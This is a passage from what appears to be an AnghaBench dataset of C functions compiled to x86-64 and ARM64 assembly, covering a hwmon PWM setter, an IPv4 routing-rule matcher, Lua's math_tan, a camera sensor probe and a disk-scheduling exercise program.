testq %rax, %rax
je LBB0_2
## %bb.1:
movq _EINVAL@GOTPCREL(%rip), %rax
xorl %r13d, %r13d
subq (%rax), %r13
jmp LBB0_3
LBB0_2:
movq -48(%rbp), %rdi
xorl %esi, %esi
movl $255, %edx
callq _SENSORS_LIMIT
movq %rax, -48(%rbp)
movq %r12, %rbx
addq $8, %rbx
movq %rbx, %rdi
callq _mutex_lock
movq -48(%rbp), %rax
movq (%r12), %rcx
movq -56(%rbp), %rsi ## 8-byte Reload
movq (%rsi), %rdx
movq %rax, (%rcx,%rdx,8)
movq (%rsi), %rdi
callq _ADT7473_REG_PWM_MIN
movq -48(%rbp), %rdx
movq %r14, %rdi
movl %eax, %esi
callq _i2c_smbus_write_byte_data
movq %rbx, %rdi
callq _mutex_unlock
LBB0_3:
movq %r13, %rax
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _EINVAL,8,3 ## @EINVAL
.no_dead_strip _set_pwm_min
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function set_pwm_min
_set_pwm_min: ; @set_pwm_min
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x24, x23, [sp, #16] ; 16-byte Folded Spill
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x19, x3
mov x23, x2
mov x20, x0
mov x0, x1
bl _to_sensor_dev_attr
mov x21, x0
mov x0, x20
bl _to_i2c_client
mov x20, x0
bl _i2c_get_clientdata
mov x22, x0
add x2, sp, #8
mov x0, x23
mov w1, #10
bl _strict_strtol
cbz x0, LBB0_2
; %bb.1:
Lloh0:
adrp x8, _EINVAL@GOTPAGE
Lloh1:
ldr x8, [x8, _EINVAL@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
neg x19, x8
b LBB0_3
LBB0_2:
ldr x0, [sp, #8]
mov w1, #0
mov w2, #255
bl _SENSORS_LIMIT
str x0, [sp, #8]
add x23, x22, #8
mov x0, x23
bl _mutex_lock
ldr x8, [sp, #8]
ldr x9, [x22]
ldr x10, [x21]
str x8, [x9, x10, lsl #3]
ldr x0, [x21]
bl _ADT7473_REG_PWM_MIN
mov x1, x0
ldr x2, [sp, #8]
mov x0, x20
bl _i2c_smbus_write_byte_data
mov x0, x23
bl _mutex_unlock
LBB0_3:
mov x0, x19
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
ldp x24, x23, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #80
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _EINVAL,8,3 ; @EINVAL
.no_dead_strip _set_pwm_min
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/hwmon/extr_adt7473.c_set_pwm_min.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function fib4_rule_match
_fib4_rule_match: ## @fib4_rule_match
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl (%rdi), %eax
xorl 4(%rsi), %eax
xorl %r14d, %r14d
testl %eax, 4(%rdi)
jne LBB0_11
## %bb.1:
movq %rsi, %r15
movq %rdi, %rbx
movl 8(%rdi), %eax
xorl (%rsi), %eax
testl %eax, 12(%rdi)
je LBB0_2
LBB0_11:
movl %r14d, %eax
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
LBB0_2:
movq 16(%rbx), %rax
testq %rax, %rax
je LBB0_4
## %bb.3:
cmpq 8(%r15), %rax
jne LBB0_11
LBB0_4:
movq (%rbx), %rax
testq %rax, %rax
je LBB0_6
## %bb.5:
cmpq 16(%r15), %rax
jne LBB0_11
LBB0_6:
leaq 12(%rbx), %r12
movq %r12, %rdi
callq _fib_rule_port_range_set
testq %rax, %rax
je LBB0_8
## %bb.7:
movl 28(%r15), %esi
movq %r12, %rdi
callq _fib_rule_port_inrange
testl %eax, %eax
je LBB0_11
LBB0_8:
addq $8, %rbx
movq %rbx, %rdi
callq _fib_rule_port_range_set
testq %rax, %rax
je LBB0_10
## %bb.9:
movl 24(%r15), %esi
movq %rbx, %rdi
callq _fib_rule_port_inrange
testl %eax, %eax
je LBB0_11
LBB0_10:
movl $1, %r14d
jmp LBB0_11
.cfi_endproc
## -- End function
.no_dead_strip _fib4_rule_match
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function fib4_rule_match
_fib4_rule_match: ; @fib4_rule_match
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
ldr w8, [x1, #4]
ldp w9, w10, [x0]
eor w8, w9, w8
tst w8, w10
b.ne LBB0_2
; %bb.1:
mov x19, x1
mov x20, x0
ldr w8, [x20, #8]!
ldr w9, [x1]
eor w8, w8, w9
mov x21, x20
ldr w9, [x21, #4]!
tst w8, w9
b.eq LBB0_4
LBB0_2:
mov w0, #0
LBB0_3:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
LBB0_4:
ldr x8, [x0, #16]
cbz x8, LBB0_6
; %bb.5:
ldr x9, [x19, #8]
cmp x8, x9
b.ne LBB0_2
LBB0_6:
ldr x8, [x0]
cbz x8, LBB0_8
; %bb.7:
ldr x9, [x19, #16]
cmp x8, x9
b.ne LBB0_2
LBB0_8:
mov x0, x21
bl _fib_rule_port_range_set
cbz x0, LBB0_10
; %bb.9:
ldr w1, [x19, #28]
mov x0, x21
bl _fib_rule_port_inrange
cbz w0, LBB0_3
LBB0_10:
mov x0, x20
bl _fib_rule_port_range_set
cbz x0, LBB0_12
; %bb.11:
ldr w1, [x19, #24]
mov x0, x20
bl _fib_rule_port_inrange
cbz w0, LBB0_3
LBB0_12:
mov w0, #1
b LBB0_3
.cfi_endproc
; -- End function
.no_dead_strip _fib4_rule_match
.subsections_via_symbols
| AnghaBench/linux/net/ipv4/extr_fib_rules.c_fib4_rule_match.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function math_tan
_math_tan: ## @math_tan
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
movl $1, %esi
callq _luaL_checknumber
movl %eax, %edi
callq _tan
movq %rbx, %rdi
movl %eax, %esi
callq _lua_pushnumber
movl $1, %eax
addq $8, %rsp
popq %rbx
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip _math_tan
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function math_tan
_math_tan: ; @math_tan
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
mov w1, #1
bl _luaL_checknumber
bl _tan
mov x1, x0
mov x0, x19
bl _lua_pushnumber
mov w0, #1
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.no_dead_strip _math_tan
.subsections_via_symbols
| AnghaBench/xLua/build/lua-5.1.5/src/extr_lmathlib.c_math_tan.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function hv7131r_probe
_hv7131r_probe: ## @hv7131r_probe
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
movl $2, %esi
xorl %edx, %edx
callq _i2c_w1
movl $10, %edi
callq _msleep
movq %rbx, %rdi
movl $2, %esi
movl $102, %edx
callq _reg_w1
movl $10, %edi
callq _msleep
movq %rbx, %rdi
xorl %esi, %esi
movl $5, %edx
callq _i2c_r
movq (%rbx), %rax
movl (%rax), %esi
movl 4(%rax), %edx
cmpl $2, %esi
jne LBB0_4
## %bb.1:
cmpl $9, %edx
jne LBB0_4
## %bb.2:
movl $9, %edx
cmpl $1, 8(%rax)
jne LBB0_4
## %bb.3:
movq _D_PROBE@GOTPCREL(%rip), %rax
movl (%rax), %edi
leaq L_.str(%rip), %rsi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _PDEBUG ## TAILCALL
LBB0_4:
movl 8(%rax), %ecx
leaq L_.str.1(%rip), %rdi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _warn ## TAILCALL
.cfi_endproc
## -- End function
.comm _D_PROBE,4,2 ## @D_PROBE
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Sensor HV7131R found"
L_.str.1: ## @.str.1
.asciz "Erroneous HV7131R ID 0x%02x 0x%02x 0x%02x"
.no_dead_strip _hv7131r_probe
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function hv7131r_probe
_hv7131r_probe: ; @hv7131r_probe
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
mov w1, #2
mov w2, #0
bl _i2c_w1
mov w0, #10
bl _msleep
mov x0, x19
mov w1, #2
mov w2, #102
bl _reg_w1
mov w0, #10
bl _msleep
mov x0, x19
mov w1, #0
mov w2, #5
bl _i2c_r
ldr x8, [x19]
ldp w1, w2, [x8]
cmp w1, #2
ccmp w2, #9, #0, eq
b.ne LBB0_4
; %bb.1:
ldr w9, [x8, #8]
cmp w9, #1
b.ne LBB0_3
; %bb.2:
Lloh0:
adrp x8, _D_PROBE@GOTPAGE
Lloh1:
ldr x8, [x8, _D_PROBE@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
Lloh3:
adrp x1, l_.str@PAGE
Lloh4:
add x1, x1, l_.str@PAGEOFF
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _PDEBUG
LBB0_3:
mov w2, #9
LBB0_4:
ldr w3, [x8, #8]
Lloh5:
adrp x0, l_.str.1@PAGE
Lloh6:
add x0, x0, l_.str.1@PAGEOFF
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _warn
.loh AdrpAdd Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpAdd Lloh5, Lloh6
.cfi_endproc
; -- End function
.comm _D_PROBE,4,2 ; @D_PROBE
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Sensor HV7131R found"
l_.str.1: ; @.str.1
.asciz "Erroneous HV7131R ID 0x%02x 0x%02x 0x%02x"
.no_dead_strip _hv7131r_probe
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/media/video/gspca/extr_sonixj.c_hv7131r_probe.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $264, %rsp ## imm = 0x108
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -48(%rbp)
leaq L_.str(%rip), %rdi
xorl %r12d, %r12d
xorl %eax, %eax
callq _printf
leaq L_.str.1(%rip), %rbx
leaq -292(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
leaq L_.str.2(%rip), %rdi
xorl %eax, %eax
callq _printf
leaq -296(%rbp), %rsi
movq %rbx, %rdi
xorl %eax, %eax
callq _scanf
movl -296(%rbp), %eax
movl %eax, -128(%rbp)
leaq L_.str.3(%rip), %rdi
xorl %eax, %eax
callq _printf
movl -292(%rbp), %r15d
testl %r15d, %r15d
jle LBB0_3
## %bb.1:
leaq -124(%rbp), %r13
leaq L_.str.1(%rip), %r14
xorl %ebx, %ebx
.p2align 4, 0x90
LBB0_2: ## =>This Inner Loop Header: Depth=1
movq %r14, %rdi
movq %r13, %rsi
xorl %eax, %eax
callq _scanf
movslq -292(%rbp), %r15
incq %rbx
addq $4, %r13
cmpq %r15, %rbx
jl LBB0_2
LBB0_3:
movl $0, %ecx
testl %r15d, %r15d
js LBB0_40
## %bb.4:
xorl %r9d, %r9d
movl %r15d, %ecx
jmp LBB0_5
.p2align 4, 0x90
LBB0_21: ## in Loop: Header=BB0_5 Depth=1
leal 1(%r9), %edx
decl %ecx
cmpl %r9d, %r15d
movl %edx, %r9d
je LBB0_8
LBB0_5: ## =>This Loop Header: Depth=1
## Child Loop BB0_11 Depth 2
movl %r15d, %edx
subl %r9d, %edx
movl $0, %eax
testl %edx, %edx
jle LBB0_21
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
movl %ecx, %r8d
movl -128(%rbp), %edx
cmpl $1, %ecx
jne LBB0_10
## %bb.7: ## in Loop: Header=BB0_5 Depth=1
xorl %edi, %edi
LBB0_18: ## in Loop: Header=BB0_5 Depth=1
movl %ecx, %eax
testb $1, %r8b
je LBB0_21
## %bb.19: ## in Loop: Header=BB0_5 Depth=1
movl -124(%rbp,%rdi,4), %ebx
movl %ecx, %eax
cmpl %ebx, %edx
jle LBB0_21
## %bb.20: ## in Loop: Header=BB0_5 Depth=1
movl %ebx, -128(%rbp,%rdi,4)
movl %edx, -124(%rbp,%rdi,4)
movl %ecx, %eax
jmp LBB0_21
.p2align 4, 0x90
LBB0_10: ## in Loop: Header=BB0_5 Depth=1
movl %r8d, %eax
andl $-2, %eax
xorl %ebx, %ebx
jmp LBB0_11
.p2align 4, 0x90
LBB0_16: ## in Loop: Header=BB0_11 Depth=2
movl %esi, -124(%rbp,%rbx,4)
movl %edx, -120(%rbp,%rbx,4)
LBB0_17: ## in Loop: Header=BB0_11 Depth=2
movq %rdi, %rbx
cmpq %rdi, %rax
je LBB0_18
LBB0_11: ## Parent Loop BB0_5 Depth=1
## => This Inner Loop Header: Depth=2
movl -124(%rbp,%rbx,4), %edi
cmpl %edi, %edx
jle LBB0_12
## %bb.13: ## in Loop: Header=BB0_11 Depth=2
movl %edi, -128(%rbp,%rbx,4)
movl %edx, -124(%rbp,%rbx,4)
jmp LBB0_14
.p2align 4, 0x90
LBB0_12: ## in Loop: Header=BB0_11 Depth=2
movl %edi, %edx
LBB0_14: ## in Loop: Header=BB0_11 Depth=2
leaq 2(%rbx), %rdi
movl -120(%rbp,%rbx,4), %esi
cmpl %esi, %edx
jg LBB0_16
## %bb.15: ## in Loop: Header=BB0_11 Depth=2
movl %esi, %edx
jmp LBB0_17
LBB0_8:
xorl %ecx, %ecx
testl %r15d, %r15d
js LBB0_9
## %bb.22:
movl -296(%rbp), %esi
leal 1(%r15), %r12d
xorl %edx, %edx
.p2align 4, 0x90
LBB0_23: ## =>This Inner Loop Header: Depth=1
cmpl %esi, -128(%rbp,%rdx,4)
je LBB0_25
## %bb.24: ## in Loop: Header=BB0_23 Depth=1
incq %rdx
cmpq %rdx, %r12
jne LBB0_23
jmp LBB0_26
LBB0_9:
xorl %r12d, %r12d
LBB0_26:
testl %eax, %eax
jne LBB0_27
jmp LBB0_40
LBB0_25:
movl %edx, %r12d
movl %edx, %eax
testl %eax, %eax
je LBB0_40
LBB0_27:
movslq %eax, %r8
movl %eax, %ecx
cmpl $8, %eax
jae LBB0_29
## %bb.28:
xorl %edx, %edx
jmp LBB0_37
LBB0_29:
movl %ecx, %edx
andl $-8, %edx
leaq -8(%rdx), %rsi
movq %rsi, %r9
shrq $3, %r9
incq %r9
testq %rsi, %rsi
je LBB0_30
## %bb.31:
movq %r9, %rdi
andq $-2, %rdi
leaq -140(,%r8,4), %rsi
addq %rbp, %rsi
xorl %ebx, %ebx
.p2align 4, 0x90
LBB0_32: ## =>This Inner Loop Header: Depth=1
movdqu -16(%rsi), %xmm0
movdqu (%rsi), %xmm1
pshufd $27, %xmm1, %xmm1 ## xmm1 = xmm1[3,2,1,0]
pshufd $27, %xmm0, %xmm0 ## xmm0 = xmm0[3,2,1,0]
movdqa %xmm1, -288(%rbp,%rbx,4)
movdqa %xmm0, -272(%rbp,%rbx,4)
movdqu -48(%rsi), %xmm0
movdqu -32(%rsi), %xmm1
pshufd $27, %xmm1, %xmm1 ## xmm1 = xmm1[3,2,1,0]
pshufd $27, %xmm0, %xmm0 ## xmm0 = xmm0[3,2,1,0]
movdqa %xmm1, -256(%rbp,%rbx,4)
movdqa %xmm0, -240(%rbp,%rbx,4)
addq $16, %rbx
addq $-64, %rsi
addq $-2, %rdi
jne LBB0_32
## %bb.33:
testb $1, %r9b
je LBB0_35
LBB0_34:
movq %r8, %rsi
subq %rbx, %rsi
movdqu -156(%rbp,%rsi,4), %xmm0
movdqu -140(%rbp,%rsi,4), %xmm1
pshufd $27, %xmm1, %xmm1 ## xmm1 = xmm1[3,2,1,0]
pshufd $27, %xmm0, %xmm0 ## xmm0 = xmm0[3,2,1,0]
movdqa %xmm1, -288(%rbp,%rbx,4)
movdqa %xmm0, -272(%rbp,%rbx,4)
LBB0_35:
cmpq %rcx, %rdx
je LBB0_39
## %bb.36:
subq %rdx, %r8
LBB0_37:
leaq -128(,%r8,4), %rsi
addq %rbp, %rsi
.p2align 4, 0x90
LBB0_38: ## =>This Inner Loop Header: Depth=1
movl (%rsi), %edi
movl %edi, -288(%rbp,%rdx,4)
incq %rdx
addq $-4, %rsi
cmpq %rdx, %rcx
jne LBB0_38
LBB0_39:
movl %eax, %ecx
LBB0_40:
movl -128(%rbp), %eax
movl %ecx, %ecx
movl %eax, -288(%rbp,%rcx,4)
cmpl %r15d, %r12d
jge LBB0_42
## %bb.41:
leal 1(%r12), %eax
leaq -288(,%rax,4), %rdi
addq %rbp, %rdi
leaq -128(,%rax,4), %rsi
addq %rbp, %rsi
notl %r12d
addl %r15d, %r12d
leaq 4(,%r12,4), %rdx
callq _memcpy
LBB0_42:
testl %r15d, %r15d
jle LBB0_43
## %bb.44:
movl %r15d, %eax
movl -288(%rbp), %ebx
cmpl $8, %r15d
jae LBB0_46
## %bb.45:
xorl %r15d, %r15d
movl $1, %ecx
jmp LBB0_50
LBB0_43:
xorl %r15d, %r15d
jmp LBB0_52
LBB0_46:
movl %eax, %edx
andl $-8, %edx
leaq 1(%rdx), %rcx
movd %ebx, %xmm0
pshufd $0, %xmm0, %xmm2 ## xmm2 = xmm0[0,0,0,0]
pxor %xmm8, %xmm8
xorl %esi, %esi
pxor %xmm9, %xmm9
.p2align 4, 0x90
LBB0_47: ## =>This Inner Loop Header: Depth=1
movdqu -284(%rbp,%rsi,4), %xmm5
movdqa %xmm5, %xmm6
palignr $12, %xmm2, %xmm6 ## xmm6 = xmm2[12,13,14,15],xmm6[0,1,2,3,4,5,6,7,8,9,10,11]
movdqu -268(%rbp,%rsi,4), %xmm2
movdqa %xmm2, %xmm7
palignr $12, %xmm5, %xmm7 ## xmm7 = xmm5[12,13,14,15],xmm7[0,1,2,3,4,5,6,7,8,9,10,11]
movdqa %xmm5, %xmm0
pcmpgtd %xmm6, %xmm0
movdqa %xmm2, %xmm1
pcmpgtd %xmm7, %xmm1
movdqa %xmm5, %xmm3
psubd %xmm6, %xmm3
movdqa %xmm2, %xmm4
psubd %xmm7, %xmm4
psubd %xmm5, %xmm6
psubd %xmm2, %xmm7
blendvps %xmm0, %xmm3, %xmm6
movdqa %xmm1, %xmm0
blendvps %xmm0, %xmm4, %xmm7
movups %xmm6, -204(%rbp,%rsi,4)
movups %xmm7, -188(%rbp,%rsi,4)
paddd %xmm6, %xmm8
paddd %xmm7, %xmm9
addq $8, %rsi
cmpq %rsi, %rdx
jne LBB0_47
## %bb.48:
paddd %xmm8, %xmm9
pshufd $238, %xmm9, %xmm0 ## xmm0 = xmm9[2,3,2,3]
paddd %xmm9, %xmm0
pshufd $85, %xmm0, %xmm1 ## xmm1 = xmm0[1,1,1,1]
paddd %xmm0, %xmm1
movd %xmm1, %r15d
cmpq %rdx, %rax
je LBB0_52
## %bb.49:
pextrd $3, %xmm2, %ebx
LBB0_50:
incq %rax
.p2align 4, 0x90
LBB0_51: ## =>This Inner Loop Header: Depth=1
movl -288(%rbp,%rcx,4), %esi
movl %esi, %edi
subl %ebx, %edi
negl %edi
movl %esi, %edx
subl %ebx, %edx
cmovlel %edi, %edx
movl %edx, -208(%rbp,%rcx,4)
addl %edx, %r15d
incq %rcx
movl %esi, %ebx
cmpq %rcx, %rax
jne LBB0_51
LBB0_52:
leaq L_str(%rip), %rdi
callq _puts
leaq L_str.9(%rip), %rdi
callq _puts
cmpl $0, -292(%rbp)
js LBB0_55
## %bb.53:
movq $-1, %rbx
leaq L_.str.6(%rip), %r14
.p2align 4, 0x90
LBB0_54: ## =>This Inner Loop Header: Depth=1
movl -284(%rbp,%rbx,4), %esi
movl -204(%rbp,%rbx,4), %edx
movq %r14, %rdi
xorl %eax, %eax
callq _printf
movslq -292(%rbp), %rax
incq %rbx
cmpq %rax, %rbx
jl LBB0_54
LBB0_55:
leaq L_.str.7(%rip), %rdi
movl %r15d, %esi
xorl %eax, %eax
callq _printf
xorps %xmm0, %xmm0
cvtsi2ss %r15d, %xmm0
xorps %xmm1, %xmm1
cvtsi2ssl -292(%rbp), %xmm1
divss %xmm1, %xmm0
cvtss2sd %xmm0, %xmm0
leaq L_.str.8(%rip), %rdi
movb $1, %al
callq _printf
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
cmpq -48(%rbp), %rax
jne LBB0_57
## %bb.56:
xorl %eax, %eax
addq $264, %rsp ## imm = 0x108
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_30:
xorl %ebx, %ebx
testb $1, %r9b
jne LBB0_34
jmp LBB0_35
LBB0_57:
callq ___stack_chk_fail
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Enter the no of tracks to be traversed: "
L_.str.1: ## @.str.1
.asciz "%d"
L_.str.2: ## @.str.2
.asciz "Enter the position of head: "
L_.str.3: ## @.str.3
.asciz "Enter the tracks: "
L_.str.6: ## @.str.6
.asciz "%d\t\t\t%d\n"
L_.str.7: ## @.str.7
.asciz "\nTotal head movements: %d"
L_.str.8: ## @.str.8
.asciz "\nAverage head movements: %.2f"
L_str: ## @str
.asciz "Direction is towards 0"
L_str.9: ## @str.9
.asciz "Tracks traversed\tDifference between tracks"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #336
.cfi_def_cfa_offset 336
stp x24, x23, [sp, #272] ; 16-byte Folded Spill
stp x22, x21, [sp, #288] ; 16-byte Folded Spill
stp x20, x19, [sp, #304] ; 16-byte Folded Spill
stp x29, x30, [sp, #320] ; 16-byte Folded Spill
add x29, sp, #320
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
Lloh0:
adrp x8, ___stack_chk_guard@GOTPAGE
Lloh1:
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
Lloh2:
ldr x8, [x8]
stur x8, [x29, #-56]
Lloh3:
adrp x0, l_.str@PAGE
Lloh4:
add x0, x0, l_.str@PAGEOFF
bl _printf
add x8, sp, #16
str x8, [sp]
Lloh5:
adrp x19, l_.str.1@PAGE
Lloh6:
add x19, x19, l_.str.1@PAGEOFF
mov x0, x19
bl _scanf
Lloh7:
adrp x0, l_.str.2@PAGE
Lloh8:
add x0, x0, l_.str.2@PAGEOFF
bl _printf
add x8, sp, #20
str x8, [sp]
mov x0, x19
bl _scanf
ldr w8, [sp, #20]
stur w8, [x29, #-136]
Lloh9:
adrp x0, l_.str.3@PAGE
Lloh10:
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr w20, [sp, #16]
cmp w20, #1
b.lt LBB0_3
; %bb.1:
mov x21, #0
sub x8, x29, #136
add x22, x8, #4
Lloh11:
adrp x19, l_.str.1@PAGE
Lloh12:
add x19, x19, l_.str.1@PAGEOFF
LBB0_2: ; =>This Inner Loop Header: Depth=1
str x22, [sp]
mov x0, x19
bl _scanf
ldrsw x20, [sp, #16]
add x21, x21, #1
add x22, x22, #4
cmp x21, x20
b.lt LBB0_2
LBB0_3:
tbnz w20, #31, LBB0_18
; %bb.4:
mov w10, #0
sub x8, x29, #136
add x9, x8, #4
mov x11, x20
b LBB0_7
LBB0_5: ; in Loop: Header=BB0_7 Depth=1
mov x8, x11
LBB0_6: ; in Loop: Header=BB0_7 Depth=1
add w12, w10, #1
sub w11, w11, #1
cmp w20, w10
mov x10, x12
b.eq LBB0_14
LBB0_7: ; =>This Loop Header: Depth=1
; Child Loop BB0_11 Depth 2
sub w8, w20, w10
cmp w8, #1
b.lt LBB0_13
; %bb.8: ; in Loop: Header=BB0_7 Depth=1
mov w8, w11
ldur w12, [x29, #-136]
mov x13, x9
b LBB0_11
LBB0_9: ; in Loop: Header=BB0_11 Depth=2
stp w14, w12, [x13, #-4]
LBB0_10: ; in Loop: Header=BB0_11 Depth=2
add x13, x13, #4
subs x8, x8, #1
b.eq LBB0_5
LBB0_11: ; Parent Loop BB0_7 Depth=1
; => This Inner Loop Header: Depth=2
ldr w14, [x13]
cmp w12, w14
b.gt LBB0_9
; %bb.12: ; in Loop: Header=BB0_11 Depth=2
mov x12, x14
b LBB0_10
LBB0_13: ; in Loop: Header=BB0_7 Depth=1
mov w8, #0
b LBB0_6
LBB0_14:
tbnz w20, #31, LBB0_19
; %bb.15:
mov x10, #0
ldr w11, [sp, #20]
add w9, w20, #1
sub x12, x29, #136
LBB0_16: ; =>This Inner Loop Header: Depth=1
ldr w13, [x12, x10, lsl #2]
cmp w13, w11
b.eq LBB0_21
; %bb.17: ; in Loop: Header=BB0_16 Depth=1
add x10, x10, #1
cmp x9, x10
b.ne LBB0_16
b LBB0_20
LBB0_18:
mov w9, #0
mov w8, #0
b LBB0_29
LBB0_19:
mov w9, #0
LBB0_20:
cbnz w8, LBB0_22
b LBB0_29
LBB0_21:
mov x9, x10
mov x8, x10
cbz w8, LBB0_29
LBB0_22:
sxtw x13, w8
mov w10, w8
cmp w8, #16
b.hs LBB0_24
; %bb.23:
mov x11, #0
mov x12, x13
b LBB0_27
LBB0_24:
and x11, x10, #0xfffffff0
sub x12, x13, x11
sub x14, x29, #136
add x13, x14, x13, lsl #2
sub x13, x13, #28
add x14, sp, #24
add x14, x14, #32
mov x15, x11
LBB0_25: ; =>This Inner Loop Header: Depth=1
ldp q1, q0, [x13]
rev64.4s v0, v0
ext.16b v0, v0, v0, #8
rev64.4s v1, v1
ext.16b v1, v1, v1, #8
ldp q3, q2, [x13, #-32]
rev64.4s v2, v2
ext.16b v2, v2, v2, #8
rev64.4s v3, v3
ext.16b v3, v3, v3, #8
stp q0, q1, [x14, #-32]
stp q2, q3, [x14], #64
sub x13, x13, #64
subs x15, x15, #16
b.ne LBB0_25
; %bb.26:
cmp x11, x10
b.eq LBB0_29
LBB0_27:
sub x13, x29, #136
add x12, x13, x12, lsl #2
